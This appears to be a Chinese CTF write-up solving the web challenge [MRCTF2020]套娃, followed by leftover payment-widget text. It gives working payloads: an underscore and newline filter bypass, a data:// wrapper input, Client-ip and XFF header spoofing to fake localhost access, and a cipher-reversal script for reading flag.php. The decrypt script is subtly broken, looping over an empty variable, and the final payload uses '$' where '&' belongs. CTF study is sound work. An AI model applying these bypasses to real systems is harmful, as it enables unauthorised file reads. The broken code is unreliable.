[MRCTF2020]套娃

访问页面,查看源代码,有一段PHP代码提示;
需要绕过
首先可以看到对输入的参数做了过滤,我们需要让b_u_p_t这个参数的值等于23333,但是不能是数字形式,而且第一个if会过滤下划线;
如果用空格,也就是%20代替下划线,可以起到同样的效果;
如果数字字符串到末尾遇到换行符,即%0a,会将数字字符作为字符串处理;
所以payload为

?b%20u%20p%20t=23333%0a

新的提示
访问后,得到信息,尝试修改一下XFF;
提示
修改发送,但是没有用,看了一下源码,这东西好像在知乎上看到有人发过;
jsfuck
了解了一下,是jsfuck编码;
用jsfuck.com解码一下,得到信息;
post me Merak
我直接用hackbar传参了;
hackbar传参

得到新的信息;

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
	echo "Your REQUEST is:".change($_GET['file']);
	echo file_get_contents(change($_GET['file'])); 
	}
?>  

首先我们要让2333===‘todat is a happy day’,这可以借助data伪协议来传输;

?2333=data:text/plain,todat is a happy day

这样才能显示change()方法执行后的结果;
其次我们需要给file参数赋值,需要分析一下change()方法;
首先会做一个base64解码;
其次遍历字符串,
然后,各字符ASCII码值+2*在字符串中的位置(从0开始),拼接为re,将re转为字符;
最后返回re
作用相当于一个简单的加密算法;
脚本解密一下;

<?php
$v = "";
function decrypt($re){
    for($i=0;$i<strlen($v);$i++){
        $v.=chr(ord($re[$i])-$i*2);
    }
    $v = base64_encode($v);
    echo $v;
}
?>

我们需要使

$re='flag.php'

因为这样file_get_contents(“flag.php”)即可获得flag.php的内容;
因此,调用解密脚本,使re=“flag.php”;
得到

ZmpdYSZmXGI=

因此完整payload为

?2333=data:text/plain,todat is a happy day$file=ZmpdYSZmXGI=

上传试试
结果还有IP的问题;
换成Client-ip的请求头;
成功拿flag;
flag
flag{1bd6a8e8-6681-4376-8715-f29d0fc6389e}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值